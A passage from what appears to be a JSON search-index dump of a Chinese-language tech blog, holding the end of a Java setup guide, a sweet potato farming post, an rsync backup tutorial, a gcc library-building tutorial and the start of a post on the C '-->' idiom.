update-alternatives 這個工具來設定系統預設的 Java 版本，首先用 --query 或是 --display 列出目前系統預設的 Java 版本以及所有可用的 java 版本：\nupdate-alternatives --query java Name: java Link: /usr/bin/java Slaves: java.1.gz /usr/share/man/man1/java.1.gz Status: manual Best: /usr/lib/jvm/java-8-oracle/jre/bin/java Value: /usr/lib/jvm/java-8-oracle/jre/bin/java Alternative: /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java Priority: 1081 Slaves: java.1.gz /usr/lib/jvm/java-8-openjdk-amd64/jre/man/man1/java.1.gz Alternative: /usr/lib/jvm/java-8-oracle/jre/bin/java Priority: 1081 Slaves: java.1.gz /usr/lib/jvm/java-8-oracle/man/man1/java.1.gz 目前系統預設的版本是 Oracle 的 Java（/usr/lib/jvm/java-8-oracle/jre/bin/java），若要更改這個系統預設的 Java 版本，可以使用 --config 參數來設定：\nsudo update-alternatives --config java 接著使用編號選擇 Java 的版本：\n其他的 javac 與 javadoc 等相關指令也可以利用 update-alternatives 來更改預設版本：\nupdate-alternatives --query javac update-alternatives --query javadoc 設定 JAVA_HOME 環境變數 JAVA_HOME 這個環境變數紀錄了 Java 的安裝路徑，很多的 Java 應用程式在執行時都會需要讀取這個環境變數的值，我們可以利用上面介紹的 update-alternatives 指令查詢 Java 的安裝路徑，再將路徑設定加入 /etc/environment 中：\nJAVA_HOME=\u0026#34;/usr/lib/jvm/java-8-oracle\u0026#34; 接著直接載入 /etc/environment 的設定，測試一下：\nsource /etc/environment echo $JAVA_HOME /usr/lib/jvm/java-8-oracle 這樣就完成 JAVA_HOME 環境變數的設定了。\n參考資料 DigitalOcean ","permalink":"https://blog.gtwang.org/linux/how-to-install-java-with-apt-get-on-ubuntu-linux/","summary":"\u003cp\u003e本篇文章介紹如何在 Ubuntu Linux 中以 apt 安裝 Oracle 或 OpenJDK 的 Java 的 JRE 執行環境以及 JDK 開發環境。\u003c/p\u003e\n\u003cp\u003eJava 是許多應用軟體都會需要的執行環境，而在 Ubuntu Linux 中的 Java 版本主要有兩種，一個是 Oracle 官方的 Java，另外一個是 OpenJDK 開放原始碼的 Java，這兩種 Java 實作版本都有通過 \u003ca href=\"https://en.wikipedia.org/wiki/Technology_Compatibility_Kit\"\u003eTCK\u003c/a\u003e，而且兩者目前主要都是 Oracle 在維護，差異其實不大（請參考 \u003ca href=\"https://stackoverflow.com/questions/22358071/differences-between-oracle-jdk-and-open-jdk-and-garbage-collection\"\u003eStackOverflow\u003c/a\u003e）。\u003c/p\u003e","title":"Ubuntu Linux 安裝 Oracle 或 OpenJDK 的 Java JRE 與 JDK 步驟教學"},{"content":"本篇紀錄我們家親戚自己種植的地瓜，自行生產與銷售，不使用任何農藥的蕃薯。\n台南西港這裡的田一般是一年兩作，第一季是春天種植、夏天收成，而第二季則是秋天種植、冬天收成。我們家的地瓜田每年都只有種秋冬那一季，春夏那一季固定都休耕，這次採收地瓜是去年秋天下種的，栽種時不使用任何化學肥料或農藥，採用天然的綠肥，並在田裏施灑苦茶渣（粕）來減少蟲害。\n地瓜葉上都是被蟲咬過的小洞。\n這個黃皮黃肉的地瓜外皮比較薄，是一般農民感覺口感較綿密、Q 甜的品種，種植容易、收成後可以存放於室溫之下（不會太快就發芽），其種植時間是 90 天（從下種到採收）。\n所有的地瓜都是以人工採收，用鋤頭將土裡的地瓜挖出來。\n這是剛從土裡挖出來的一串地瓜。\n挖出來的地瓜都會經過挑選，被蟲咬過、太小條的、有裂痕的或是彎彎曲曲等賣相不好的都會挑出來。\n這是挑選好的地瓜。\n裝籃之後搬上農用小貨車。\n這樣一車地瓜，兩個人要採收一整個下午，非常辛苦。\n將地瓜從田裡運回來之後，隔天就可以開始裝箱、裝袋，分送給訂購人。\n採收之後，淘汰的瑕疵品也佔了非常大的比例，出貨前都要先挑選過。\n這些是依照大小分籃的地瓜，裝箱、裝袋時會將各種大小的地瓜平均混合。\n黃皮黃肉的地瓜特寫照片。\n因為這種地瓜品種的外皮很薄，搬運時遇到稍微的碰撞就很容易損傷，所以若要連皮蒸地瓜，在烹煮前要把破皮處所流出的汁液洗淨，否則蒸過之後就會容易變黑，若是削皮烹煮就沒有這個問題。\n這是比較小條的地瓜，這個很適合用電鍋蒸地瓜，或是用烤箱來烤地瓜，另外也可以用來製作蜜地瓜。\n像這種比較大條地瓜適合用來煮地瓜粥、地瓜飯、地瓜湯，或炸地瓜。\n這樣一袋地瓜是 7 台斤。\n","permalink":"https://blog.gtwang.org/agriculture/sweet-potato-field-sigang-tainan-20170205/","summary":"\u003cp\u003e本篇紀錄我們家親戚自己種植的地瓜，自行生產與銷售，不使用任何農藥的蕃薯。\u003c/p\u003e\n\u003cp\u003e台南西港這裡的田一般是一年兩作，第一季是春天種植、夏天收成，而第二季則是秋天種植、冬天收成。我們家的地瓜田每年都只有種秋冬那一季，春夏那一季固定都休耕，這次採收地瓜是去年秋天下種的，栽種時不使用任何化學肥料或農藥，採用天然的綠肥，並在田裏施灑苦茶渣（粕）來減少蟲害。\u003c/p\u003e","title":"[台南西港] 養生地瓜：自產自銷、不用農藥與化學肥料的無毒蕃薯"},{"content":"本篇介紹如何使用 Linux 的 rsync 同步與備份各種檔案，自動製作快照式累進備份。\nrsync 是 Linux 系統上最常被用來複製與備份檔案的工具，它可以處理本機或遠端的檔案同步工作，藉由 rsync 指令可以讓管理者很方便的將兩地的資料同步，不管是同一台電腦或是透過網際網路連線的兩台伺服器，使用方式都類似，以下是 rsync 的使用教學以及常用的指令範例。\nrsync 簡介 rsync 的角色就像是一般 Linux 的 cp 與 scp 指令，可以將檔案或目錄從來源位置複製到目的位置，不過 rsync 在複製檔案時會比 cp 與 scp 更有效率，並且支援連結檔與設備檔（devices），也可以保留檔案的擁有者、群組與權限設定，\nrsync 在第一次複製檔案時，會複製完整的檔案內容，而之後再次複製檔案時，就會先以 delta transfer 演算法檢查新舊檔案之間的差異，只傳送有變動的部份，可加快備份速度，尤其是在累進備份大檔案時，效果更明顯。另外 rsync 在使用網路傳送資料時，也支援資料的自動壓縮與解壓縮，這樣可以有效減少耗費的網路頻寬。\n安裝 rsync 大部分的 Linux 發行版都會內建 rsync 工具，如果您的系統沒有安裝，通常也都可以透過系統的套件來安裝。Red Hat 系列的 Linux 可用 yum 安裝：\nsudo yum install rsync Debian 系列的 Linux 則可用 apt-get：\nsudo apt-get install rsync rsync 基本用法 rsync 的基本語法結構如下：\nrsync 參數 來源檔案 目的檔案 以下是最常見的幾個參數：\n-v：verbose 模式，輸出比較詳細的訊息。 -r：遞迴（recursive）備份所有子目錄下的目錄與檔案。 -a：封裝備份模式，相當於 -rlptgoD，遞迴備份所有子目錄下的目錄與檔案，保留連結檔、檔案的擁有者、群組、權限以及時間戳記。 -z：啟用壓縮。 -h：將數字以比較容易閱讀的格式輸出。 rsync 最簡單的用法就是複製本地端的檔案：\nrsync -avh myfile.gz /home/pi/tmp/ sending incremental file list myfile.gz sent 14.34M bytes received 35 bytes 28.67M bytes/sec total size is 14.33M speedup is 1.00 其效果就跟 cp -r 類似，可將 myfile.gz 複製到 /home/pi/tmp/ 目錄中，不過如果執行第二次時，rsync 就會自動跳過沒有變動的檔案：\nrsync -avh myfile.gz /home/pi/tmp/ sending incremental file list sent 74 bytes received 12 bytes 172.00 bytes/sec total size is 14.33M speedup is 166,658.15 這種用法對於檔案或目錄都適用：\nrsync -avh /path/to/myfolder /home/pi/tmp/ rsync 遠端備份 rsync 也可以用於不同台機器之間的遠端備份，這樣的用法就跟 scp 指令很像，不過 rsync 會更有效率：\nrsync -avzh /mypath/myfile.gz pi@192.168.1.12:/mybackup/ 這樣就會將本地端的 myfile.gz 備份至 pi@192.168.1.12 的 /mybackup/ 目錄中，在遇到這種遠端備份的狀況時，rsync 預設會以 ssh 的方式登入遠端的機器，所以在執行這行備份指令之後，要接著輸入pi@192.168.1.12 的密碼，接著就會開始備份資料，輸出會類似這樣：\npi@192.168.1.12's password: sending incremental file list myfile.gz sent 13.62M bytes received 34 bytes 48.56K bytes/sec total size is 14.33M speedup is 1.05 而這裡我們多加入一個 -z 參數，目的是讓 rsync 可以自動將資料壓縮後再傳送，並在遠端接收到資料後自動解壓縮，減少網路傳輸的資料量。\nrsync 也可以將遠端的檔案備份至本地端，其語法也跟 scp 類似：\nrsync -avzh pi@192.168.1.12:/mypath/myfile.gz /mybackup/ pi@192.168.1.12's password: receiving incremental file list myfile.gz sent 30 bytes received 23.74M bytes 571.98K bytes/sec total size is 24.14M speedup is 1.02 這裡的 rsync 在複製檔案時，由於我們加入了 -a 參數，所以可以用於檔案或是整個目錄的備份，相當於 scp -r 的效果，而且由於 rsync 只會傳輸有變動的部份，所以通常在異地備份資料時都會使用這種方式來處理。\n限制網路頻寬 如果不想讓 rsync 在透過網路備份資料時，佔用太大的網路頻寬而影響正常的服務，可以加上 --bwlimit 參數來指定資料傳輸的速度上限：\nrsync -avzh --bwlimit=100K pi@192.168.1.12:/mypath/myfile.gz /mybackup/ pi@192.168.1.12's password: receiving incremental file list myfile.gz sent 30 bytes received 14.34M bytes 99.22K bytes/sec total size is 14.33M speedup is 1.00 自訂 SSH 連接埠 正常 ssh 遠端登入服務的連接埠（port）號碼是 22，但有些人為了保護伺服器避免受到太多的網路攻擊，會將 ssh 的連接埠改成其他的號碼，例如 12345，不過這樣的話在使用 rsync 進行遠端備份資料時，就也要跟著指定連接埠號碼。\n假設 192.168.1.12 這台伺服器的 ssh 服務連接埠號碼為 12345，以下是透過 rsync 將資料備份資料的範例：\nrsync -avzh -e \u0026#39;ssh -p 12345\u0026#39; /mypath/myfile.gz pi@192.168.1.12:/mybackup/ 這裡我們多加入一個 -e 參數，其用途是指定遠端登入所要使用的指令，預設的指令就是 ssh，而這裡我們將指令變更為 ssh -p 12345，也就是使用 12345 這個連接埠登入 ssh 的意思（請參考 ssh 指令的 -p 參數用法）。\n顯示傳輸進度 如果要讓 rsync 在傳輸檔案時可以即時顯示進度，可以加上 --progress 參數：\nrsync -avzh --progress pi@192.168.1.12:/mypath/myfile.gz /mybackup/ 這樣在備份每的檔案的過程就會顯示傳輸的進度、傳輸速度與剩餘時間等資訊：\npi@192.168.1.12's password: receiving incremental file list myfile.gz 24.14M 100% 623.52kB/s 0:00:37 (xfr#1, to-chk=0/1) sent 30 bytes received 23.74M bytes 558.52K bytes/sec total size is 24.14M speedup is 1.02 同步刪除檔案 rsync 預設只會將來源端現存的檔案同步更新至目的端（同步所有新增或修改的檔案），但是如果在來源端有檔案被刪除的話，rsync 並不會主動刪除目的端的檔案，這樣可以確保資料被勿刪時，備份檔不會也跟著被刪除。\n如果您想要讓 rsync 也同步將不存在於來源端的檔案刪除的話，可以加上 --delete 參數，如果沒有來源檔案只有新增、沒有減少的話，它就跟一般的複製動作相同：\nrsync -avh --delete myfolder/ backup/ sending incremental file list ./ data1.txt data2.txt data3.txt data4.txt sent 432 bytes received 95 bytes 1.05K bytes/sec total size is 116 speedup is 0.22 這時候若我們將來源檔案的 data1.txt 與 data2.txt 刪除，並且增加 data5.txt，在執行一次 rsync：\nrsync -avh --delete myfolder/ backup/ sending incremental file list deleting data2.txt deleting data1.txt ./ data5.txt sent 190 bytes received 64 bytes 508.00 bytes/sec total size is 87 speedup is 0.34 這時候 rsync 就會同步將備份端的 data1.txt 與 data2.txt 刪除，並且同時新增 data5.txt。\n如果這裡我們沒有加上 --delete 參數的話，rsync 就只會新增 data5.txt，不會刪除任何檔案。\n備份特定檔案 假設我們的檔案與目錄結構如下：\ntree myfolder myfolder ├── chinese.py ├── data1.txt ├── data2.txt ├── find_edimax.c └── src ├── pack.c ├── test1.txt └── test2.txt 若要讓 rsync 在備份檔案時，排除所有 *.txt 的文字檔檔案，可以使用 --exclude 參數：\nrsync -avh --exclude \u0026#39;*.txt\u0026#39; myfolder/ backup/ sending incremental file list ./ chinese.py find_edimax.c src/ src/pack.c sent 3.91K bytes received 88 bytes 7.99K bytes/sec total size is 3.59K speedup is 0.90 我們可以使用多個 --exclude 來排除多種檔案，例如：\nrsync -avh --exclude \u0026#39;*.txt\u0026#39; --exclude \u0026#39;*.py\u0026#39; myfolder/ backup/ sending incremental file list ./ find_edimax.c src/ src/pack.c sent 3.74K bytes received 65 bytes 7.61K bytes/sec total size is 3.50K speedup is 0.92 如果只想要備份某些特定的檔案，可以將 --exclude 與 --include 配合使用，例如只備份所有 *.c 的 C 語言原始碼：\nrsync -avh --include \u0026#39;*.c\u0026#39; --include \u0026#39;*/\u0026#39; --exclude \u0026#39;*\u0026#39; myfolder/ backup/ sending incremental file list ./ find_edimax.c src/ src/pack.c sent 3.74K bytes received 69 bytes 7.62K bytes/sec total size is 3.50K speedup is 0.92 這裡我們加入兩個 --include 來指定要備份的檔案比對規則，*.c 就是包含所有 C 語言的原始碼檔案，而另外一個 */ 的意思是指包含所有的目錄，若沒有加上包含目錄的參數，所有的目錄就會被後面 --exclude 排除，造成所有子目錄中的 *.c 也跟著被排除。最後加上一個 --exclude 排除其餘所有的檔案，請注意 --exclude 要放在 --include 之後，順序不可以對調。\n限定備份檔案大小 rsync 也可以依照檔案的大小來選擇備份的檔案，假設在 myfolder 目錄中有以下這些檔案：\nls -l myfolder/ total 15632 -rw-r--r-- 1 pi pi 1658348 Feb 5 09:09 bluez-5.43.tar.xz -rw-r--r-- 1 pi pi 94 Feb 5 07:57 chinese.py -rw-r--r-- 1 pi pi 2736 Feb 5 07:57 find_edimax.c -rw-r--r-- 1 pi pi 14332601 Feb 5 09:09 myfile.gz -rw-r--r-- 1 pi pi 763 Feb 5 08:02 pack.c --min-size 可以指定備份檔案的大小下限，例如只備份 1MB 以上的檔案：\nrsync -avh --min-size=1M myfolder/ backup/ sending incremental file list ./ bluez-5.43.tar.xz myfile.gz sent 16.00M bytes received 57 bytes 31.99M bytes/sec total size is 15.99M speedup is 1.00 而 --max-size 可以指定備份檔案的大小上限，例如只備份 4KB 以下的檔案：\nrsync -avh --max-size=4K myfolder/ backup/ sending incremental file list ./ chinese.py find_edimax.c pack.c sent 3.91K bytes received 76 bytes 7.97K bytes/sec total size is 15.99M speedup is 4,012.68 --min-size 與 --max-size 也可以同時使用，例如只備份 1KB 到 2MB 之間的檔案：\nrsync -avh --min-size=1K --max-size=2M myfolder/ backup/ sending incremental file list ./ bluez-5.43.tar.xz find_edimax.c sent 1.66M bytes received 57 bytes 3.32M bytes/sec total size is 15.99M speedup is 9.62 自動刪除來源檔案 如果想讓 rsync 在備份檔案之後，自動將來源檔案刪除（也就是相當於 mv 的效果），可以加上 --remove-source-files 參數：\nrsync -avh --remove-source-files myfolder/ backup/ sending incremental file list ./ bluez-5.43.tar.xz chinese.py find_edimax.c myfile.gz pack.c sent 16.00M bytes received 154 bytes 10.67M bytes/sec total size is 15.99M speedup is 1.00 這樣執行 rsync 之後，myfolder/ 目錄會被清空，所有的資料都會被移到 backup/ 目錄中，所以請小心使用，別勿刪重要檔案。\n測試 rsync 參數 初學者如果不確定自己的 rsync 參數是否正確，在實際執行之前可以加上 --dry-run 來測試一下，加上這個參數之後 rsync 執行時還是會輸出正常的訊息，不過並不會更動到任何的檔案：\nrsync -avh --dry-run --remove-source-files myfolder/ backup/ sending incremental file list bluez-5.43.tar.xz chinese.py find_edimax.c myfile.gz pack.c sent 194 bytes received 31 bytes 450.00 bytes/sec total size is 15.99M speedup is 71,086.85 (DRY RUN) 這樣可以方便使用者檢查自己的參數是否配置得宜。\ncrontab 定期備份 通常如果要在本地端進行備份，就可以在 crontab 中定期執行這樣的指令，將重要的資料定期備份至指定目錄：\n# m h dom mon dow command 5 * * 1 rsync -a /path/to/folder /path/to/backup/ 這樣系統就會在每週一的早上 5 點執行 rsync 備份檔案。\n只更新既有檔案 如果在備份檔案時，只想要更新過去已經備份過得檔案，排出新增的檔案，可以使用 --existing 參數。\n假設我們過去已經將 myfolder/ 的檔案備份至 backup/ 了：\nrsync -avh myfolder/ backup/ 而這時候又新增了一個新的檔案：\ntouch myfolder/new.file 若此時我們只要更新 backup/ 中已經存在的檔案，排除後來新增的，就可以使用 --existing 參數：\nrsync -avh --existing myfolder/ backup/ sending incremental file list ./ sent 201 bytes received 19 bytes 440.00 bytes/sec total size is 15.99M speedup is 72,702.46 顯示檔案變動資訊 執行 rsync 時加入 -i 參數可以個別檔案變動的資訊：\nrsync -avhi myfolder/ backup/ sending incremental file list .d..t...... ./ .f...p..... find_edimax.c \u003ef..t...... myfile.gz \u003ef+++++++++ new.file \u003ef.st...... pack.c sent 14.34M bytes received 79 bytes 3.19M bytes/sec total size is 15.99M speedup is 1.12 加入 -i 之後，每個檔案項目之前會多出一個標示字串，而這個標示字串的欄位有 11 個，分別為 YXcstpoguax，其意義如下：\nY：\u0026lt; 代表檔案傳送至遠端，\u0026gt; 代表檔案傳送至本地端，c 代表本地端變動（建立目錄等），h 代表硬式連結（hard link），. 代表沒有變動，* 代表其餘欄位有包含訊息（例如 deleting）。 X：檔案類型，f 為一般檔案，d 為目錄，L 為連結檔，D 為設備檔（device），S 為特殊檔案（如 sockets 或 fifo）。 c：代表檔案內容有變動。 s：代表檔案大小有變動。 t：代表檔案時間戳記有變動。 p：代表檔案權限有變動。 o：代表檔案擁有者有變動。 g：代表檔案群組有變動。 u：保留欄位。 a：代表檔案 ACL 資訊有變動。 x：代表檔案擴充屬性（extended attribute）有變動。 參考資料 Tecmint HTG dasunhegoda The Geek Stuff Linode makeuseof ","permalink":"https://blog.gtwang.org/linux/rsync-local-remote-file-synchronization-commands/","summary":"\u003cp\u003e本篇介紹如何使用 Linux 的 \u003ccode\u003ersync\u003c/code\u003e 同步與備份各種檔案，自動製作快照式累進備份。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ersync\u003c/code\u003e 是 Linux 系統上最常被用來複製與備份檔案的工具，它可以處理本機或遠端的檔案同步工作，藉由 \u003ccode\u003ersync\u003c/code\u003e 指令可以讓管理者很方便的將兩地的資料同步，不管是同一台電腦或是透過網際網路連線的兩台伺服器，使用方式都類似，以下是 \u003ccode\u003ersync\u003c/code\u003e 的使用教學以及常用的指令範例。\u003c/p\u003e","title":"Linux 使用 rsync 遠端檔案同步與備份工具教學與範例"},{"content":"這裡介紹如何使用 gcc 編譯器自己製作 C/C++ 靜態、共享與動態載入函式庫，讓程式碼可以更方便的重複使用。\n在開發不同的程式時，如果有一些程式碼是重複會用到的話，就可以將其製作成獨立的函式庫，不僅維護上更方便，也可以方便其他專案或是開發者使用，以下介紹以 gcc 還有 ar 等工具製作靜態、共享與動態載入函式庫的步驟。\n範例程式 這裡我們用一個很簡單的 C 語言函數來做示範，假設我們有一個計算總和的 sum 函數，不同的專案或開發者都會需要用到它，sum.c 的內容如下：\n#include \u0026#34;sum.h\u0026#34; double sum(double a, double b) { return a + b; } 其對應的標頭檔（header file）sum.h 內容如下：\n#ifndef __SUM_H__ #define __SUM_H__ double sum(double a, double b); #endif 這是一個簡單的 main.c 使用範例，其內容如下：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026#34;sum.h\u0026#34; int main(int argc, char *argv[]) { double a = 2.6, b = 4.2, c; c = sum(a, b); printf(\u0026#34;%.1f + %.1f = %.1f\\n\u0026#34;, a, b, c); return 0; } 若就一般正常的編譯程序，我們會使用 gcc 直接編譯所有的 C 檔案，連結後產生執行檔：\n# 編譯 C 語言程式 gcc -o main main.c sum.c 執行之：\n# 執行程式 ./main 2.6 + 4.2 = 6.8 如果 sum.c 的內容只有在這一個專案中會用到，那麼這樣直接編譯的做法是最簡單又省事的。\n如果有其他的專案也會用到 sum.c 裡面函數的話，最直接的作法就是把 sum.c 與 sum.h 兩個原始碼檔案複製一份到新的專案中，然後也用同樣的編譯方式如法泡製，但是這樣的缺點有兩個，一個就是每次都要重新編譯 sum.c 的內容，比較量費時間，另外就是未來若要持續維護 sum.c 的內容時，就需要同時修改好多個副本，既容易出錯也很麻煩。\n另外如果 sum.c 的程式碼有機密性的問題，也就是說只想讓別人用，但是不想給原始碼的時候，也沒辦法直接用這種方式處理。\n靜態函式庫 靜態函式庫（static library）就是由一些物件檔案（object files）所構成的封裝檔，通常其檔案名稱都會以 lib 開頭，而副檔名則為 .a。\n使用靜態連結函式庫的好處就是所有的程式都包裝在執行檔中，不會因為缺少函式庫的檔案而不能執行，不過缺點就是這樣的執行檔大小會比較大，而如果函式庫有更新的話，整個執行檔也要跟著重新編譯。\n以下我們示範將 sum.c 的內容製作成一個靜態函式庫的步驟。\nStep 1\n編譯 sum.c 的程式碼：\n# 編譯 C 語言程式 gcc -c -o sum.o sum.c Step 2\n使用 ar 指令將 sum.o 打包成 libsum.a 這個靜態連結函式庫：\n# 建立靜態連結函式庫 ar -rcs libsum.a sum.o Step 3\n使用 libsum.a 這個靜態連結函式庫：\n# 使用靜態連結函式庫 gcc main.c -L. -lsum -o main_static 也可以直接把 libsum.a 這個靜態連結函式庫檔案放進去編譯：\n# 使用靜態連結函式庫編譯 gcc main.c libsum.a -o main_static 這樣就可以將 main.c 這個程式編譯成 main_static 這個執行檔，而在編譯的過程中就不需要 sum.c 這個原始碼的檔案。\n使用靜態連結函式庫所編譯出來的執行檔可以獨立執行，不需要原本的 libsum.a 檔：\n# 列出共享函式庫相依姓 ldd main_static linux-vdso.so.1 =\u003e (0x00007fffb0d1a000) libc.so.6 =\u003e /lib64/libc.so.6 (0x00007f0411e46000) /lib64/ld-linux-x86-64.so.2 (0x00007f0412220000) 共享函式庫 共享函式庫（shared library）是在程式實際開始執行時，才會被載入的函式庫，執行檔本身與共享函式庫是分離的，這樣可以讓執行檔的大小比較小，而且未來共享函式庫在更新之後，執行檔也不需要重新編譯，而缺點則是執行檔在執行時就會需要共享函式庫的檔案，如果缺少了共享函式庫的檔案，就會無法執行。\n共享函式庫的檔案通常也是以 lib 開頭，但是其副檔名則為 .so，以下是建立共享函式庫的步驟。\nStep 1\n編譯時加入 -fPIC 參數，產生共享函式庫所需要的 position independant code：\n# 編譯 C 語言程式 gcc -c -fPIC -o sum.o sum.c Step 2\n使用 gcc 建立共享函式庫：\n# 建立共享函式庫 gcc -shared -Wl,-soname,libsum.so.1 -o libsum.so.1.0.0 sum.o 這裡的 -Wl 是用來將一些參數設定傳給連結器（linker），所以之後的 -soname 等參數就是傳給連結器的參數。\n-soname 指定為 libsum.so.1 是代表函式庫的名稱，以 lib 開頭，接著是自己取的名稱，最後加上 .so 與 version 版本號碼，這一個 version 版本號碼所代表的是函示庫的介面版本，如果介面有改變時就會增加 version 版本號碼，以維護相容性的問題。\n而最後產生的實際檔案名稱也跟 soname 類似，不過後面多了 minor 與 release 版本號碼，中間的 minor 號碼是用於標示新增加的介面，而最後面的 release 號碼則是用於程式內容的修正（介面不變的情況）。\n如果程式使用到這個共享函式庫，則在執行時就會依據 soname 所指定的名稱來尋找函式庫的檔案，如果想要看共享函式庫的 soname 屬性，可以使用 objdump 指令：\nobjdump -p libsum.so.1.0.0 | grep SONAME SONAME libsum.so.1 建立好共享函式庫之後，要建立一個不含版本號碼的 .so 連結檔，gcc 在連結時所需要的函式庫檔案是這一個：\n# 建立共享函式庫連結檔 ln -s libsum.so.1.0.0 libsum.so 另外再建立一個執行時要用的連結檔：\n# 建立共享函式庫連結檔 ln -s libsum.so.1.0.0 libsum.so.1 使用共享函式庫來編譯執行檔：\n# 使用共享函式庫編譯執行檔 gcc main.c -L. -lsum -o main_dynamic 或是這樣編譯也可以：\n# 使用共享函式庫編譯執行檔 gcc main.c libsum.so -o main_dynamic 編譯完成後，要執行時需要指定 LD_LIBRARY_PATH：\n# 執行程式 LD_LIBRARY_PATH=. ./main_dynamic 2.6 + 4.2 = 6.8 這一個 main_dynamic 執行檔在執行時，會需要 libsum.so.1 這一個共享函式庫檔案：\n# 列出共享函式庫相依姓 LD_LIBRARY_PATH=. ldd main_dynamic linux-vdso.so.1 =\u003e (0x00007ffc5f1f7000) libsum.so.1 =\u003e ./libsum.so.1 (0x00007efd0148d000) libc.so.6 =\u003e /lib64/libc.so.6 (0x00007efd010b3000) /lib64/ld-linux-x86-64.so.2 (0x00007efd01690000) 動態載入函式庫 動態載入函式庫（dynamically loaded library）就類似 Windows 的 dll 檔，是等到程式真正要用到時才會載入函式庫，其實作方式是透過 DL 函式庫配合一般的共享函式庫來處理的，以下是將之前製作的 libsum.so.1 共享函式庫改為動態載入的範例。\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;dlfcn.h\u0026gt; int main(int argc, char **argv) { void *handle; double (*sum)(double, double); char *error; // 動態開啟共享函式庫 handle = dlopen (\u0026#34;libsum.so.1\u0026#34;, RTLD_LAZY); if (!handle) { fputs (dlerror(), stderr); exit(1); } // 取得 sum 函數的位址 sum = dlsym(handle, \u0026#34;sum\u0026#34;); if ((error = dlerror()) != NULL) { fputs(error, stderr); exit(1); } // 使用 sum 函數 double a = 2.6, b = 4.2, c; c = sum(a, b); printf(\u0026#34;%.1f + %.1f = %.1f\\n\u0026#34;, a, b, c); // 關閉共享函式庫 dlclose(handle); return 0; } 將這段程式碼儲存為 main_dl.c 之後，按照一般的方式進行編譯：\n# 編譯 C 語言程式 gcc main_dl.c -ldl -o main_dl 在使用上跟共享函式庫差不多，一樣要指定 LD_LIBRARY_PATH：\n# 執行程式 LD_LIBRARY_PATH=. ./main_dl 2.6 + 4.2 = 6.8 表面上看起來跟一般的共享函式庫類似，不過這種動態載入函式庫方式與共享函式庫有很大的不同，共享函式庫是在程式一開始執行時就要載入（不管實際上有沒有使用到），而動態載入函式庫的做法則是可以在真正需要用到時才載入（如果沒用到就可以不需要載入）。\n參考資料 TLDP MURMURING ","permalink":"https://blog.gtwang.org/programming/howto-create-library-using-gcc/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ccode\u003egcc\u003c/code\u003e 編譯器自己製作 C/C++ 靜態、共享與動態載入函式庫，讓程式碼可以更方便的重複使用。\u003c/p\u003e\n\u003cp\u003e在開發不同的程式時，如果有一些程式碼是重複會用到的話，就可以將其製作成獨立的函式庫，不僅維護上更方便，也可以方便其他專案或是開發者使用，以下介紹以 \u003ccode\u003egcc\u003c/code\u003e 還有 \u003ccode\u003ear\u003c/code\u003e 等工具製作靜態、共享與動態載入函式庫的步驟。\u003c/p\u003e","title":"使用 gcc 自製 C/C++ 靜態、共享與動態載入函式庫教學"},{"content":"最近看到網路論壇中有人在討論 C/C++ 程式語言有趣的箭頭 --\u0026gt; 運算子，跟大家分享一下。\n這是很簡單的 C 語言 while 迴圈：\n#include \u0026lt;stdio.h\u0026gt; int main() { int x = 10; while (x --\u0026gt; 0) { // x 遞減至 0 printf(\u0026#34;%d \u0026#34;, x); } } 這個程式碼的邏輯很簡單，就是讓 x 逐步遞減至 0，不過 while 的判斷式在乍看之下有些奇怪，正常的 C 語言似乎沒有 x --\u0026gt; 0 這種箭頭的運算子，但是這個程式卻可以正常執行。\n這是 C++ 的版本，其實大同小異：\n#include \u0026lt;iostream\u0026gt; int main() { int x = 10; while (x --\u0026gt; 0) { // x 遞減至 0 std::cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } } 事實上根本就沒有所謂的箭頭運算子，--\u0026gt; 只是 -- 與 \u0026gt; 兩個運算子放在一起使用的狀況，也就是說 x --\u0026gt; 0 的意思是 (x--) \u0026gt; 0，只不過這樣的寫法非常容易讓人混淆而已。\n以下還有幾種類似的寫法：\n#include \u0026lt;stdio.h\u0026gt; int main() { int x = 10; while (0 \u0026lt;-- x) { // x 遞減至 0 printf(\u0026#34;%d \u0026#34;, x); } } C++ 還允許這種寫法：\n#include \u0026lt;iostream\u0026gt; int main() { int x = 10; while (0 \u0026lt;---- x) { // x 遞減至 0 std::cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } } \u0026lt;---- 就是 \u0026lt; -- -- 的意思，每次讓 x 遞減 2。\n這幾段程式碼的執行效果有些小差異，這裡的重點只是示範這種特別的寫法是可以正常執行的。\n這樣的寫法雖然可以正常執行，但是相當不建議這樣寫，因為這樣很容易讓人看不懂。\n如果要惡搞別人可以這樣寫 🙂\n#include \u0026lt;iostream\u0026gt; int main() { int x = 10; while ( \u0026lt;--++--++-- x) { // x 遞減至 0 std::cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } } 參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/cpp-postfix-decrement-greater-than-operator/","summary":"\u003cp\u003e最近看到網路論壇中有人在討論 C/C++ 程式語言有趣的箭頭 \u003ccode\u003e--\u0026gt;\u003c/code\u003e 運算子，跟大家分享一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是很簡單的 C 語言 \u003ccode\u003ewhile\u003c/code\u003e 迴圈：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 